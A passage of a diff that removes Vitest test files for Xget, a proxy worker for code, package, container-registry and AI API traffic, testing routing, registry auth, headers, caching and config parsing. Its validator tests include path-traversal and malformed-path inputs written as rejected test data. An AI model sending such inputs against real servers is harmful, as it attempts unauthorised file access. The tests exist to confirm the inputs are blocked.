expect(preconfiguredHeaders.get('Content-Type')).toBe('multipart/form-data');
});
it('configures AI passthrough headers and preserves explicit values', () => {
const headers = new Headers();
const request = new Request('https://example.com/ip/openai/v1/chat/completions', {
method: 'POST'
});
configureAIHeaders(headers, request);
const preconfiguredHeaders = new Headers({
'Content-Type': 'application/x-ndjson',
'User-Agent': 'custom-ai-proxy/2.0'
});
configureAIHeaders(preconfiguredHeaders, request);
expect(headers.get('Content-Type')).toBe('application/json');
expect(headers.get('User-Agent')).toBe('Xget-AI-Proxy/1.0');
expect(preconfiguredHeaders.get('Content-Type')).toBe('application/x-ndjson');
expect(preconfiguredHeaders.get('User-Agent')).toBe('custom-ai-proxy/2.0');
});
});
-370
View File
@@ -1,370 +0,0 @@
import { afterEach, describe, expect, it, vi } from 'vitest';
import worker from '../../src/index.js';
import { CONFIG } from '../../src/config/index.js';
import { isAIInferenceRequest } from '../../src/protocols/ai.js';
import {
getScopeFromUrl,
handleDockerAuth,
readRegistryTokenResponse
} from '../../src/protocols/docker.js';
import { isDockerRequest } from '../../src/utils/validation.js';
/** @type {ExecutionContext} */
const executionContext = {
waitUntil() {},
passThroughOnException() {}
};
describe('Protocol Detection', () => {
it('only treats /ip-prefixed paths as AI inference requests', () => {
const request = new Request('https://example.com/gh/user/repo/v1/chat/completions', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: '{}'
});
const url = new URL(request.url);
expect(isAIInferenceRequest(request, url)).toBe(false);
});
it('does not treat nested /v2/ segments in regular paths as Docker requests', () => {
const request = new Request(
'https://example.com/gh/user/repo/releases/download/v2/file.tar.gz'
);
const url = new URL(request.url);
expect(isDockerRequest(request, url)).toBe(false);
});
});
describe('Docker Authentication', () => {
afterEach(() => {
vi.restoreAllMocks();
});
it('derives scoped pull access from /cr-prefixed registry requests', () => {
const url = new URL('https://example.com/cr/docker/v2/nginx/manifests/latest');
expect(getScopeFromUrl(url, url.pathname, 'cr-docker')).toBe('repository:library/nginx:pull');
});
it('normalizes Docker Hub official image scopes during auth proxying', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async input => {
const url = String(input);
if (url === 'https://registry-1.docker.io/v2/') {
return new Response('', {
status: 401,
headers: {
'WWW-Authenticate':
'Bearer realm="https://auth.docker.io/token",service="registry.docker.io"'
}
});
}
return new Response(JSON.stringify({ token: 'token' }), {
status: 200,
headers: { 'Content-Type': 'application/json' }
});
});
const request = new Request(
'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/nginx:pull&service=Xget'
);
const response = await handleDockerAuth(request, new URL(request.url), CONFIG);
expect(response.status).toBe(200);
expect(String(fetchSpy.mock.calls[1][0])).toContain(
'scope=repository%3Alibrary%2Fnginx%3Apull'
);
});
it('routes platform-prefixed auth endpoints without duplicating /v2', async () => {
/** @type {string[]} */
const upstreamCalls = [];
vi.spyOn(globalThis, 'fetch').mockImplementation(async input => {
upstreamCalls.push(String(input));
if (String(input) === 'https://ghcr.io/v2/') {
return new Response('', {
status: 401,
headers: {
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
}
});
}
return new Response(JSON.stringify({ token: 'token' }), {
status: 200,
headers: { 'Content-Type': 'application/json' }
});
});
const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget');
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(upstreamCalls[0]).toBe('https://ghcr.io/v2/');
});
it('routes registry manifests without duplicating /v2', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('', {
status: 200,
headers: { 'Content-Length': '0' }
})
);
const request = new Request(
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
{
method: 'HEAD'
}
);
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(String(fetchSpy.mock.calls[0][0])).toBe(
'https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest'
);
});
it('routes host-style registry manifests through the upstream v2 API', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('', {
status: 200,
headers: { 'Content-Length': '0' }
})
);
const request = new Request('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest', {
method: 'HEAD'
});
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(String(fetchSpy.mock.calls[0][0])).toBe(
'https://ghcr.io/v2/xixu-me/xget/manifests/latest'
);
});
it('normalizes Docker Hub official image paths during proxying', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('', {
status: 200,
headers: { 'Content-Length': '0' }
})
);
const request = new Request('https://example.com/cr/docker/v2/nginx/manifests/latest', {
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
});
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(String(fetchSpy.mock.calls[0][0])).toBe(
'https://registry-1.docker.io/v2/library/nginx/manifests/latest'
);
});
it('preserves platform-specific Docker auth challenges', async () => {
let callCount = 0;
vi.spyOn(globalThis, 'fetch').mockImplementation(async () => {
callCount++;
if (callCount === 1) {
return new Response('', {
status: 401,
headers: {
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
}
});
}
return new Response('denied', { status: 401 });
});
const request = new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
});
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(401);
expect(response.headers.get('WWW-Authenticate')).toBe(
'Bearer realm="https://example.com/cr/ghcr/v2/auth",service="Xget"'
);
expect(await response.text()).toContain('UNAUTHORIZED');
});
it('follows 303 redirects for Docker registry responses without forwarding auth headers', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
const headers = new Headers(init?.headers);
const url = String(input);
if (url === 'https://ghcr.io/v2/xixu-me/xget/manifests/latest') {
expect(headers.get('Authorization')).toBe('Bearer token123');
return new Response(null, {
status: 303,
headers: {
Location: 'https://pkg-containers.githubusercontent.com/manifest'
}
});
}
if (url === 'https://pkg-containers.githubusercontent.com/manifest') {
expect(headers.get('Authorization')).toBeNull();
return new Response('', {
status: 200,
headers: { 'Content-Length': '0' }
});
}
throw new Error(`Unexpected fetch URL: ${url}`);
});
const request = new Request('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest', {
headers: { Authorization: 'Bearer token123' }
});
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(fetchSpy).toHaveBeenCalledTimes(2);
});
it('accepts standard repository scopes on platform-prefixed auth endpoints', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async input => {
const url = String(input);
if (url === 'https://ghcr.io/v2/') {
return new Response('', {
status: 401,
headers: {
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
}
});
}
return new Response(JSON.stringify({ token: 'token' }), {
status: 200,
headers: { 'Content-Type': 'application/json' }
});
});
const request = new Request(
'https://example.com/cr/ghcr/v2/auth?scope=repository:private/repo:pull&service=Xget'
);
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(String(fetchSpy.mock.calls[1][0])).toContain('scope=repository%3Aprivate%2Frepo%3Apull');
});
it('treats empty JSON token responses as unusable instead of throwing', async () => {
const token = await readRegistryTokenResponse(
new Response('', {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
);
expect(token).toBeNull();
});
it('falls back cleanly when the token service returns an empty success body', async () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
let callCount = 0;
vi.spyOn(globalThis, 'fetch').mockImplementation(async () => {
callCount++;
if (callCount === 1) {
return new Response('', {
status: 401,
headers: {
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
}
});
}
return new Response('', { status: 200 });
});
const request = new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
});
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(401);
expect(response.headers.get('WWW-Authenticate')).toBe(
'Bearer realm="https://example.com/cr/ghcr/v2/auth",service="Xget"'
);
expect(await response.text()).toContain('UNAUTHORIZED');
expect(warnSpy).not.toHaveBeenCalled();
});
});
describe('Protocol Header Configuration', () => {
afterEach(() => {
vi.restoreAllMocks();
});
it('does not send Git user-agent for AI inference requests', async () => {
/** @type {{ url: string, userAgent: string | null }[]} */
const observed = [];
vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
const headers = new Headers(init?.headers);
observed.push({
url: String(input),
userAgent: headers.get('User-Agent')
});
return new Response('{}', {
status: 200,
headers: { 'Content-Type': 'application/json' }
});
});
const request = new Request('https://example.com/ip/openai/v1/chat/completions', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: '{}'
});
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(observed[0]).toEqual({
url: 'https://api.openai.com/v1/chat/completions',
userAgent: 'Xget-AI-Proxy/1.0'
});
});
it('updates Content-Length after rewriting npm metadata', async () => {
const upstreamBody = JSON.stringify({
dist: {
tarball: 'https://registry.npmjs.org/pkg/-/pkg-1.0.0.tgz'
}
});
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response(upstreamBody, {
status: 200,
headers: {
'Content-Type': 'application/json',
'Content-Length': String(upstreamBody.length)
}
})
);
const response = await worker.fetch(
new Request('https://example.com/npm/pkg'),
{},
executionContext
);
const body = await response.text();
expect(body).toContain('https://example.com/npm/pkg/-/pkg-1.0.0.tgz');
expect(response.headers.get('Content-Length')).toBe(
String(new TextEncoder().encode(body).byteLength)
);
});
});
-65
View File
@@ -1,65 +0,0 @@
import { afterEach, describe, expect, it, vi } from 'vitest';
import { PerformanceMonitor, addPerformanceHeaders } from '../../src/utils/performance.js';
import {
isFlatpakReferenceFilePath,
rewriteTextResponse,
shouldRewriteTextResponse
} from '../../src/utils/rewrite.js';
afterEach(() => {
vi.restoreAllMocks();
});
describe('Runtime helper coverage', () => {
it('serializes performance metrics and warns on duplicate marks', () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
const monitor = new PerformanceMonitor();
monitor.mark('request-start');
monitor.mark('request-start');
monitor.mark('complete');
const response = addPerformanceHeaders(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
}),
monitor
);
const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');
expect(warnSpy).toHaveBeenCalledWith('Mark with name request-start already exists.');
expect(metrics).toHaveProperty('request-start');
expect(metrics).toHaveProperty('complete');
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
});
it('rewrites only supported upstream response types', () => {
expect(shouldRewriteTextResponse('pypi', '/pypi/simple/demo/', 'text/html')).toBe(true);
expect(shouldRewriteTextResponse('npm', '/npm/demo', 'application/json')).toBe(true);
expect(
shouldRewriteTextResponse(
'flathub',
'/flathub/repo/demo.flatpakrepo',
'application/octet-stream'
)
).toBe(true);
expect(shouldRewriteTextResponse('gh', '/gh/user/repo/file.txt', 'text/plain')).toBe(false);
expect(isFlatpakReferenceFilePath('/flathub/repo/demo.flatpakref')).toBe(true);
expect(isFlatpakReferenceFilePath('/flathub/repo/summary')).toBe(false);
expect(
rewriteTextResponse(
'flathub',
'/flathub/repo/demo.flatpakrepo',
'Url=https://dl.flathub.org/repo/',
'https://example.com'
)
).toContain('https://example.com/flathub/repo/');
expect(
rewriteTextResponse('gh', '/gh/user/repo/file.txt', 'unchanged', 'https://example.com')
).toBe('unchanged');
});
});
-19
View File
@@ -1,19 +0,0 @@
// @vitest-environment node
import { createRequire } from 'node:module';
import { describe, expect, it } from 'vitest';
const require = createRequire(import.meta.url);
const tsconfig = require('../../tsconfig.json');
const packageJson = require('../../package.json');
describe('TypeScript config', () => {
it('explicitly includes Node.js types for mixed runtime files', () => {
expect(tsconfig.compilerOptions.types).toContain('node');
});
it('declares Node.js typings as a dev dependency', () => {
expect(packageJson.devDependencies['@types/node']).toBeTruthy();
});
});
-405
View File
@@ -1,405 +0,0 @@
import { describe, expect, it } from 'vitest';
import { createConfig } from '../../src/config/index.js';
import { isGitLFSRequest, isGitRequest } from '../../src/protocols/git.js';
import {
addCorsHeaders,
addSecurityHeaders,
createErrorResponse,
resolveAllowedOrigin
} from '../../src/utils/security.js';
import { getAllowedMethods, isDockerRequest, validateRequest } from '../../src/utils/validation.js';
describe('Utility Functions', () => {
describe('createConfig', () => {
it.each([
['-1', 300],
['0', 300],
['abc', 300],
['60', 60]
])('should parse CACHE_DURATION=%s as %i', (value, expected) => {
expect(createConfig({ CACHE_DURATION: value }).CACHE_DURATION).toBe(expected);
});
it('should reject invalid numeric runtime overrides', () => {
const config = createConfig({
MAX_PATH_LENGTH: '-1',
MAX_RETRIES: '-2',
RETRY_DELAY_MS: '-10',
TIMEOUT_SECONDS: '0'
});
expect(config.MAX_RETRIES).toBe(3);
expect(config.RETRY_DELAY_MS).toBe(1000);
expect(config.TIMEOUT_SECONDS).toBe(30);
expect(config.SECURITY.MAX_PATH_LENGTH).toBe(2048);
});
it('should allow zero retry delay for tests and low-latency deployments', () => {
expect(createConfig({ RETRY_DELAY_MS: '0' }).RETRY_DELAY_MS).toBe(0);
expect(createConfig({ RETRY_DELAY_MS: 0 }).RETRY_DELAY_MS).toBe(0);
});
it.each([
{ label: 'empty string', value: '' },
{ label: 'blank string', value: ' ' },
{ label: 'tab string', value: '\t' },
{ label: 'null', value: null },
{ label: 'false', value: false },
{ label: 'empty array', value: [] }
])('should reject zero-coercible RETRY_DELAY_MS from $label', ({ value }) => {
expect(createConfig({ RETRY_DELAY_MS: value }).RETRY_DELAY_MS).toBe(1000);
});
it.each([
{ label: 'empty string', value: '' },
{ label: 'blank string', value: ' ' },
{ label: 'tab string', value: '\t' },
{ label: 'null', value: null },
{ label: 'false', value: false },
{ label: 'empty array', value: [] }
])('should reject zero-coercible positive integer overrides from $label', ({ value }) => {
const config = createConfig({
CACHE_DURATION: value,
MAX_PATH_LENGTH: value,
MAX_RETRIES: value,
TIMEOUT_SECONDS: value
});
expect(config.CACHE_DURATION).toBe(300);
expect(config.MAX_RETRIES).toBe(3);
expect(config.SECURITY.MAX_PATH_LENGTH).toBe(2048);
expect(config.TIMEOUT_SECONDS).toBe(30);
});
it.each([
{ label: 'true', value: true },
{ label: 'date object', value: new Date(0) }
])('should reject non-string non-number runtime overrides from $label', ({ value }) => {
const config = createConfig({
CACHE_DURATION: value,
MAX_RETRIES: value,
RETRY_DELAY_MS: value,
TIMEOUT_SECONDS: value
});
expect(config.CACHE_DURATION).toBe(300);
expect(config.MAX_RETRIES).toBe(3);
expect(config.RETRY_DELAY_MS).toBe(1000);
expect(config.TIMEOUT_SECONDS).toBe(30);
});
it('should still accept numeric and trimmed numeric runtime overrides', () => {
const config = createConfig({
CACHE_DURATION: ' 60 ',
MAX_PATH_LENGTH: 4096,
MAX_RETRIES: '2',
RETRY_DELAY_MS: ' 0 ',
TIMEOUT_SECONDS: 45
});
expect(config.CACHE_DURATION).toBe(60);
expect(config.MAX_RETRIES).toBe(2);
expect(config.RETRY_DELAY_MS).toBe(0);
expect(config.SECURITY.MAX_PATH_LENGTH).toBe(4096);
expect(config.TIMEOUT_SECONDS).toBe(45);
});
});
describe('isGitRequest', () => {
it('should identify Git info/refs requests', () => {
const request = new Request('https://example.com/repo.git/info/refs');
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(true);
});
it('should identify Git requests by User-Agent', () => {
const request = new Request('https://example.com/repo.git', {
headers: { 'User-Agent': 'git/2.34.1' }
});
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(true);
});
it('should not identify regular file requests as Git', () => {
const request = new Request('https://example.com/repo/file.txt');
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(false);
});
});
describe('isGitLFSRequest', () => {
it('should identify LFS batch API requests', () => {
const request = new Request('https://example.com/repo.git/objects/batch', {
method: 'POST',
headers: { 'Content-Type': 'application/vnd.git-lfs+json' }
});
const url = new URL(request.url);
expect(isGitLFSRequest(request, url)).toBe(true);
});
it('should identify LFS requests by User-Agent', () => {
const request = new Request('https://example.com/repo.git', {
headers: { 'User-Agent': 'git-lfs/3.0.0 (GitHub; darwin amd64; go 1.17.2)' }
});
const url = new URL(request.url);
expect(isGitLFSRequest(request, url)).toBe(true);
});
it('should not identify regular file requests as LFS', () => {
const request = new Request('https://example.com/repo/file.txt');
const url = new URL(request.url);
expect(isGitLFSRequest(request, url)).toBe(false);
});
});
describe('validateRequest', () => {
it('should allow GET requests', () => {
const request = new Request('https://example.com/test', { method: 'GET' });
const url = new URL(request.url);
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(true);
});
it('should allow POST requests for Git operations', () => {
const request = new Request('https://example.com/repo.git/git-upload-pack', {
method: 'POST',
headers: { 'User-Agent': 'git/2.34.1' }
});
const url = new URL(request.url);
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(true);
});
it('should reject encoded traversal attempts against the production validator', () => {
const request = new Request('https://example.com/gh/user/repo/%2e%2e%2fsecret');
const url = new URL(request.url);
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(false);
expect(result.status).toBe(400);
});
it('should reject raw traversal sequences from the original request URL', () => {
const request = /** @type {Request} */ ({
headers: new Headers(),
method: 'GET',
url: 'https://example.com/gh/user/repo/../secret'
});
const url = new URL('https://example.com/gh/user/secret');
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(false);
expect(result.status).toBe(400);
});
it('should reject paths containing ASCII control characters', () => {
const baseUrl = new URL('https://example.com/gh/user/repo/%00file');
const request = /** @type {Request} */ ({
headers: new Headers(),
method: 'GET',
url: 'https://example.com/gh/user/repo/%00file'
});
const url = /** @type {URL} */ ({
origin: 'https://example.com',
pathname: '/gh/user/repo/\u0000file',
searchParams: baseUrl.searchParams
});
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(false);
expect(result.status).toBe(400);
});
it('should reject malformed percent-encoded paths', () => {
const baseUrl = new URL('https://example.com/gh/user/repo/%E0%A4%A');
const request = /** @type {Request} */ ({
headers: new Headers(),
method: 'GET',
url: 'https://example.com/gh/user/repo/%E0%A4%A'
});
const url = /** @type {URL} */ ({
origin: 'https://example.com',
pathname: '/gh/user/repo/%E0%A4%A',
searchParams: baseUrl.searchParams
});
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(false);
expect(result.status).toBe(400);
});
it('should reject unsupported methods for regular requests', () => {
const request = new Request('https://example.com/gh/user/repo/file.txt', { method: 'PATCH' });
const url = new URL(request.url);
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(false);
expect(result.status).toBe(405);
});
it('should reject paths longer than the configured maximum', () => {
const request = new Request(`https://example.com/gh/${'a'.repeat(200)}`);
const url = new URL(request.url);
const result = validateRequest(request, url, createConfig({ MAX_PATH_LENGTH: '32' }));
expect(result.valid).toBe(false);
expect(result.status).toBe(414);
});
});
describe('getAllowedMethods', () => {
it('should respect configured methods for regular requests', () => {
const config = createConfig({ ALLOWED_METHODS: 'GET,HEAD,POST' });
const request = new Request('https://example.com/gh/test/repo/issues', { method: 'POST' });
const url = new URL(request.url);
expect(getAllowedMethods(request, url, config)).toEqual(['GET', 'HEAD', 'POST']);
});
it('should allow mutating methods for Hugging Face API endpoints', () => {
const request = new Request('https://example.com/hf/token', { method: 'DELETE' });
const url = new URL(request.url);
expect(getAllowedMethods(request, url)).toEqual([
'GET',
'HEAD',
'POST',
'PUT',
'PATCH',
'DELETE'
]);
});
});
describe('isDockerRequest', () => {
it('should identify canonical registry API paths', () => {
const request = new Request('https://example.com/cr/ghcr/v2/demo/manifests/latest');
const url = new URL(request.url);
expect(isDockerRequest(request, url)).toBe(true);
});
it('should identify Docker requests by user agent or manifest headers', () => {
const userAgentRequest = new Request('https://example.com/cr/docker/library/nginx', {
headers: { 'User-Agent': 'docker/27.0.0' }
});
const acceptRequest = new Request('https://example.com/cr/docker/library/nginx', {
headers: { Accept: 'application/vnd.oci.image.manifest.v1+json' }
});
const contentTypeRequest = new Request('https://example.com/cr/docker/library/nginx', {
headers: { 'Content-Type': 'application/vnd.docker.distribution.manifest.v2+json' }
});
expect(isDockerRequest(userAgentRequest, new URL(userAgentRequest.url))).toBe(true);
expect(isDockerRequest(acceptRequest, new URL(acceptRequest.url))).toBe(true);
expect(isDockerRequest(contentTypeRequest, new URL(contentTypeRequest.url))).toBe(true);
});
it('should not treat generic /cr/ requests as Docker traffic without registry hints', () => {
const request = new Request('https://example.com/cr/docker/library/nginx/readme');
const url = new URL(request.url);
expect(isDockerRequest(request, url)).toBe(false);
});
});
describe('addSecurityHeaders', () => {
it('should add all required security headers', () => {
const headers = new Headers();
const result = addSecurityHeaders(headers);
expect(result.get('Strict-Transport-Security')).toContain('max-age=31536000');
expect(result.get('X-Frame-Options')).toBe('DENY');
expect(result.get('X-XSS-Protection')).toBe('1; mode=block');
expect(result.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
expect(result.get('Content-Security-Policy')).toContain("default-src 'none'");
expect(result.get('Permissions-Policy')).toContain('interest-cohort=()');
});
it('should return the same Headers object', () => {
const headers = new Headers();
const result = addSecurityHeaders(headers);
expect(result).toBe(headers);
});
});
describe('resolveAllowedOrigin', () => {
it('should return the matching origin from the production config', () => {
const config = createConfig({ ALLOWED_ORIGINS: 'https://app.example.com' });
const request = new Request('https://example.com/gh/test/repo', {
headers: { Origin: 'https://app.example.com' }
});
expect(resolveAllowedOrigin(request, config)).toBe('https://app.example.com');
});
it('should reject origins that are not configured', () => {
const config = createConfig({ ALLOWED_ORIGINS: 'https://app.example.com' });
const request = new Request('https://example.com/gh/test/repo', {
headers: { Origin: 'https://evil.example.com' }
});
expect(resolveAllowedOrigin(request, config)).toBeNull();
});
it('should allow any origin when wildcard CORS is configured', () => {
const config = createConfig({ ALLOWED_ORIGINS: '*' });
const request = new Request('https://example.com/gh/test/repo', {
headers: { Origin: 'https://app.example.com' }
});
expect(resolveAllowedOrigin(request, config)).toBe('*');
});
});
describe('addCorsHeaders', () => {
it('should append allow headers and preserve existing Vary values', () => {
const config = createConfig({ ALLOWED_ORIGINS: '*' });
const request = new Request('https://example.com/gh/test/repo', {
headers: {
Origin: 'https://app.example.com',
'Access-Control-Request-Headers': 'X-Test-Header'
}
});
const headers = addCorsHeaders(new Headers({ Vary: 'Accept-Encoding' }), request, config);
expect(headers.get('Access-Control-Allow-Origin')).toBe('*');
expect(headers.get('Access-Control-Allow-Headers')).toBe('X-Test-Header');
expect(headers.get('Vary')).toBe('Accept-Encoding, Origin');
});
});
describe('createErrorResponse', () => {
it('should create a plain-text error response with security headers', async () => {
const response = createErrorResponse('Bad Request', 400);
expect(response.status).toBe(400);
expect(response.headers.get('Content-Type')).toBe('text/plain');
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
expect(await response.text()).toBe('Bad Request');
});
it('should create detailed JSON error responses when requested', async () => {
const response = createErrorResponse('Unauthorized', 401, true);
const body = await response.json();
expect(response.headers.get('Content-Type')).toBe('application/json');
expect(body).toMatchObject({
error: 'Unauthorized',
status: 401
});
expect(body.timestamp).toBeTruthy();
});
});
});
-718
View File
@@ -1,718 +0,0 @@
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import worker from '../../src/index.js';
/** @type {ExecutionContext} */
const executionContext = {
waitUntil() {},
passThroughOnException() {}
};
describe('Worker regression coverage', () => {
/** @type {{ match: ReturnType<typeof vi.fn>, put: ReturnType<typeof vi.fn> }} */
let cacheDefault;
beforeEach(() => {
cacheDefault = {
match: vi.fn(async () => null),
put: vi.fn(async () => undefined)
};
vi.stubGlobal('caches', {
default: cacheDefault
});
});
afterEach(() => {
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
it('does not leak thrown upstream error details to clients', async () => {
vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('secret-upstream-detail'));
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '1', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '1' },
executionContext
);
const body = await response.text();
expect(response.status).toBe(502);
expect(body).not.toContain('secret-upstream-detail');
expect(body).not.toContain('Failed after');
});
it('clears timeout handles when upstream fetch rejects', async () => {
const timeoutToken = { id: 'timeout-token' };
const setTimeoutSpy = vi.fn(() => timeoutToken);
const clearTimeoutSpy = vi.fn();
vi.stubGlobal('setTimeout', setTimeoutSpy);
vi.stubGlobal('clearTimeout', clearTimeoutSpy);
vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('boom'));
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '1', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '5' },
executionContext
);
expect(response.status).toBe(502);
expect(setTimeoutSpy).toHaveBeenCalled();
expect(clearTimeoutSpy).toHaveBeenCalledWith(timeoutToken);
});
it('does not cache host-bound PyPI rewritten HTML responses', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('<a href="https://files.pythonhosted.org/packages/demo.whl">demo</a>', {
status: 200,
headers: { 'Content-Type': 'text/html; charset=utf-8' }
})
);
const response = await worker.fetch(
new Request('https://mirror.example/pypi/simple/demo/'),
{},
executionContext
);
const body = await response.text();
expect(response.status).toBe(200);
expect(body).toContain('https://mirror.example/pypi/files/packages/demo.whl');
expect(response.headers.get('Cache-Control')).toBe('no-store');
expect(cacheDefault.put).not.toHaveBeenCalled();
});
it('forwards body and content type for configured non-protocol POST requests', async () => {
/** @type {{ url: string, method: string | undefined, body: string | null, contentType: string | null, cf: unknown }} */
let observed = {
url: '',
method: undefined,
body: null,
contentType: null,
cf: undefined
};
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
observed = {
url: String(input),
method: init?.method,
body: init?.body ? await new Response(init.body).text() : null,
contentType: new Headers(init?.headers).get('Content-Type'),
cf: /** @type {RequestInit & { cf?: unknown }} */ (init || {}).cf
};
return new Response('created', {
status: 201,
headers: { 'Content-Type': 'text/plain' }
});
});
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/issues', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ title: 'test' })
}),
{ ALLOWED_METHODS: 'GET,HEAD,POST' },
executionContext
);
expect(response.status).toBe(201);
expect(observed).toEqual({
url: 'https://github.com/user/repo/issues',
method: 'POST',
body: JSON.stringify({ title: 'test' }),
contentType: 'application/json',
cf: undefined
});
expect(fetchSpy).toHaveBeenCalledTimes(1);
expect(cacheDefault.match).not.toHaveBeenCalled();
expect(response.headers.get('Cache-Control')).toBe('no-store');
});
it('returns Docker registry version metadata for /v2/ probes', async () => {
const response = await worker.fetch(
new Request('https://example.com/v2/'),
{},
executionContext
);
expect(response.status).toBe(200);
expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0');
expect(response.headers.get('X-Performance-Metrics')).toBeNull();
expect(await response.text()).toBe('{}');
});
it('redirects unknown platforms and bare platform prefixes to the homepage', async () => {
const unknownPlatform = await worker.fetch(
new Request('https://example.com/not-a-platform/resource'),
{},
executionContext
);
const barePlatform = await worker.fetch(
new Request('https://example.com/gh/', { method: 'GET' }),
{},
executionContext
);
expect(unknownPlatform.status).toBe(302);
expect(unknownPlatform.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
expect(barePlatform.status).toBe(302);
expect(barePlatform.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
});
it('rejects Docker requests that do not use a /cr/ prefix', async () => {
const response = await worker.fetch(
new Request('https://example.com/v2/library/nginx/manifests/latest'),
{},
executionContext
);
expect(response.status).toBe(400);
expect(await response.text()).toContain('/cr/ prefix');
});
it('rejects disallowed CORS preflight methods before proxying upstream', async () => {
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo', {
method: 'OPTIONS',
headers: {
Origin: 'https://app.example.com',
'Access-Control-Request-Method': 'POST'
}
}),
{ ALLOWED_ORIGINS: 'https://app.example.com' },
executionContext
);
expect(response.status).toBe(405);
expect(await response.text()).toBe('Method not allowed');
});
it('serves cached responses without proxying upstream', async () => {
cacheDefault.match.mockResolvedValueOnce(
new Response('cached-body', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('should-not-run', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{},
executionContext
);
const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');
expect(response.status).toBe(200);
expect(await response.text()).toBe('cached-body');
expect(metrics).toHaveProperty('cache_hit');
expect(fetchSpy).not.toHaveBeenCalled();
});
it('reuses cached full content for range requests when a ranged entry is absent', async () => {
cacheDefault.match.mockResolvedValueOnce(null).mockResolvedValueOnce(
new Response('full-body', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('should-not-run', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt', {
headers: { Range: 'bytes=0-3' }
}),
{},
executionContext
);
const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');
expect(response.status).toBe(200);
expect(await response.text()).toBe('full-body');
expect(metrics).toHaveProperty('cache_hit_full_content');
expect(fetchSpy).not.toHaveBeenCalled();
});
it('falls back to upstream fetch when cache lookup throws', async () => {
